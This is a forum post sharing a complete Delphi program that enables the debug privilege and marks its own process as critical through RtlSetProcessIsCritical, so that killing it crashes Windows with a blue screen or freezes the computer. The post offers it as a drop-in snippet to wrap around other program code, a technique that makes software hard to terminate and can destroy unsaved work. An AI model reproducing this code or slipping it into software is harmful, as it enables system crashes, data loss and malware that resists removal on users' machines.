Login Register


[Delphi] BSOD filter_list
Author
Message
[Delphi] BSOD #1
---NOTE---
On computers running windows vista and up, you will need to run this program as an admin!
---END NOTE---

Okay, here is my program:
Code:
program crashsys; //by Prime02  {$APPTYPE CONSOLE} uses   SysUtils,   Windows; function RtlSetProcessIsCritical(unu:DWORD;proc:POinter;doi:DWORD):LongInt;stdcall; external 'ntdll.dll';  const   SE_DEBUG_NAME = 'SeDebugPrivilege';   function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean; var   hToken: THandle;   TokenPriv: TOKEN_PRIVILEGES;   PrevTokenPriv: TOKEN_PRIVILEGES;   ReturnLength: Cardinal; begin   Result := False;   if OpenProcessToken(GetCurrentProcess(),     TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then   begin     try       if LookupPrivilegeValue(nil, PChar(sPrivilege),         TokenPriv.Privileges[0].Luid) then       begin         TokenPriv.PrivilegeCount := 1;          case bEnabled of           True: TokenPriv.Privileges[0].Attributes  := SE_PRIVILEGE_ENABLED;           False: TokenPriv.Privileges[0].Attributes := 0;         end;         ReturnLength := 0;         PrevTokenPriv := TokenPriv;         AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),           PrevTokenPriv, ReturnLength);       end;     finally       CloseHandle(hToken);     end;   end;   end; begin // Your main "begin-end" part NTSetPrivilege(SE_DEBUG_NAME,TRUE); RtlSetProcessIsCritical(1,nil,0); // the rest of you process code goes below! end.


What this does? Basically tells the computer you are a critical process, terminating it will cause a blue screen of death (BSOD) on windows XP. On newer windows it will lock and freeze your compute, forcing you to hold the power button to shut off. Remember to save before you run this Biggrin

Reply







Users browsing this thread: